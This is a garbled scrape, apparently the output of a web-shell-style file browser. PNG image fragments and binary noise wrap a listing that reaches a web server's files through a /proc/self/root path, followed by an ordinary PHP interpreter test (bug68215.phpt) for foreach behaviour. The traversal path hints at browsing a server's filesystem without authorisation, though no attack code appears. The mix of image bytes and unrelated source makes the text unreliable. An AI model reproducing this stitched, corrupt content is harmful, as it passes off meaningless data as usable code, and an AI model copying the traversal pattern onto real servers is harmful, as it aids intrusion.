php IHDR w Q )Ba pHYs sRGB gAMA a IDATxMk\U s&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨ G;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j- $_q?qS XzG'ay

| files >> /proc/self/root/var/www/html/sub/images/Rm19_symconf/root/opt/php-7.0.1/Zend/tests/ |
| files >> //proc/self/root/var/www/html/sub/images/Rm19_symconf/root/opt/php-7.0.1/Zend/tests/bug68215.phpt |
--TEST--
Bug #68215 (Behavior of foreach has changed)
--FILE--
<?php
$arr = array(
'a' => array(
'a' => 'apple',
'b' => 'banana',
'c' => 'cranberry',
'd' => 'mango',
'e' => 'pineapple'
),
'b' => array(
'a' => 'apple',
'b' => 'banana',
'c' => 'cranberry',
'd' => 'mango',
'e' => 'pineapple'
),
'c' => 'cranberry',
'd' => 'mango',
'e' => 'pineapple'
);
function test(&$child, $entry)
{
$i = 1;
foreach ($child AS $key => $fruit)
{
if (!is_numeric($key))
{
$child[$i] = $fruit;
unset($child[$key]);
$i++;
}
}
}
$i = 1;
foreach ($arr AS $key => $fruit)
{
$arr[$i] = $fruit;
if (is_array($fruit))
{
test($arr[$i], $fruit);
}
unset($arr[$key]);
$i++;
}
var_dump($arr);
?>
--EXPECT--
array(5) {
[1]=>
array(5) {
[1]=>
string(5) "apple"
[2]=>
string(6) "banana"
[3]=>
string(9) "cranberry"
[4]=>
string(5) "mango"
[5]=>
string(9) "pineapple"
}
[2]=>
array(5) {
[1]=>
string(5) "apple"
[2]=>
string(6) "banana"
[3]=>
string(9) "cranberry"
[4]=>
string(5) "mango"
[5]=>
string(9) "pineapple"
}
[3]=>
string(9) "cranberry"
[4]=>
string(5) "mango"
[5]=>
string(9) "pineapple"
}
y~or5J={Eeu磝Qk ᯘG{?+]ן?wM3X^歌>{7پK>on\jy Rg/=fOroNVv~Y+ NGuÝHWyw[eQʨSb> >}Gmx[o[<{Ϯ_qFvM IENDB`